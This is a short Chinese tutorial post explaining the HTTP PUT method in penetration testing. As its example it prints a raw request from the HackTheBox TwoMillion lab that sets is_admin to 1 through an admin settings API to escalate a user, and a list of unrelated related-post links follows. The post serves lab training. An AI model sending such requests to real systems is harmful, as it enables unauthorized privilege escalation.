渗透测试与HTTP中的PUT请求

PUT 请求用于向服务器更新指定资源,可以理解为对服务器上的资源进行修改操作。使用 PUT 请求方式会覆盖原有的资源内容,因此需要谨慎使用。

在渗透测试中,有可能服务端会暴露PUT请求的api,如修改用户权限的api,例如HTB的TwoMillion靶场就利用了这个api将普通用户提升为管理员用户:

复制代码
PUT /api/v1/admin/settings/update HTTP/1.1

Host: 2million.htb

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=lb54v6es5dm1k3h5fvk8vu325p

Connection: close

Content-Type:application/json

Content-Length: 51



{

	"email":"12345@gmail.com",

"is_admin":1

}
相关推荐
跨境海王哥2 分钟前
怎么检查一个IP是否干净?IP质量分数检测及如何判断风险?
网络·网络协议·tcp/ip
nainaire5 分钟前
仿muduo库的Tcp服务器以及其应用层Http协议支持
服务器·网络·c++·tcp/ip·http
老兵发新帖8 分钟前
查看fail2ban停止的IP和历史记录
chrome·网络协议·tcp/ip
皙然8 分钟前
IPv4与IPv6深度解析:从地址枯竭到下一代网络的演进
网络·智能路由器
zhougl99612 分钟前
配置SSH免密
网络·ssh·php
森叶13 分钟前
深入理解 Hash:它不是一个函数,而是一种思想
人工智能·http·架构
Fairy要carry14 分钟前
面试-Agent任务编排怎么处理?
网络·python·面试
Ivy_belief22 分钟前
Qt网络编程实战:从零掌握 QUdpSocket 及 UDP 通信
网络·qt·udp
Du_chong_huan31 分钟前
5.3 通过负载均衡分担流量
网络
booksyhay34 分钟前
XCP协议学习笔记
网络·笔记·学习